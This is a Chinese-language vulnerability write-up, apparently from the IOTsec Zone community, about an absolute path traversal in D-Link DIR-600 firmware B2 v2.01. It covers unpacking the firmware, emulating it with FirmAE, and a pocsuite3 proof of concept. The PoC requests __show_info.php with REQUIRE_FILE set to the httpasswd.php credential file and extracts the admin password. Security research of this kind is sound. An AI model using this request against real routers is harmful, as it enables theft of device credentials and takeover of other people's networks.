D-Link DIR600 绝对路径遍历
首先我们先下载D-Link DIR600的固件包,从官方上下载版本号为B2 v2.01的固件包到本地
打开Ubuntu使用binwalk 进行解包
binwalk -Me FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
解包完成,拿到了文件系统的架构,是一个类linux的一个文件系统,我们进入到www目录下面
在_show_info.php页面下发现
这个位置有一个路径拼接,其中require是引入文件的函数,直接访问当前页面,前面的变量$LOCALE_PATH在当面页面没有引入,所以默认是空 。
在/etc/templates/httpd/下面有这么一个php文件(httpasswd.php)输出的是用户名密码,那当我们构建一个绝对路径到这里,直接就可以拿用户名和密码了,那么如果我们直接给REQUIRE_FILE赋值一个路径,这时候就变成了require(/etc/templates/httpd/httpasswd.php)
固件包已经解析完事,由于没有物理设备,那咱们就把这个固件模拟起来
在Ubuntu系统中安装FirmAE,使用FirmAE来模拟启动这个固件
sudo ./run.sh -r dir600 ./firmwares/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
当我们看到如下图的时候就代表web服务和网络服务启动成功
当我们在url中给$REQUIRE_FILE赋值为“/etc/templates/httpd/httpasswd.php”的时候页面返回了我们想要的数据用户名和密码
这样我们就可以基于pocsuite3写poc了,直接向目标地址发送GET请求再去判断一下状态码和admin是否在response中就可以了
def _verify(self):
output = Output(self)
result={}
if self.url.endswith('/'):
self.url = self.url[:-1]
url = self.url+'/model/__show_info.php?REQUIRE_FILE=%2Fetc%2Ftemplates%2Fhttpd%2Fhttpasswd.php'
resp=requests.get(url)
print(resp.text)
password = re.findall('admin:(w+)', resp.text)
if resp.status_code == 200 and 'DIR-600' in resp.text and 'admin' in resp.text:
result['Password']=password[0]
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
结果验证:
扫码关注
官网 |
www.xinruisec.com
社区 |
www.iotsec-zone.com
原文始发于微信公众号(IOTsec Zone):一次D-Link 600的绝对路径遍历分析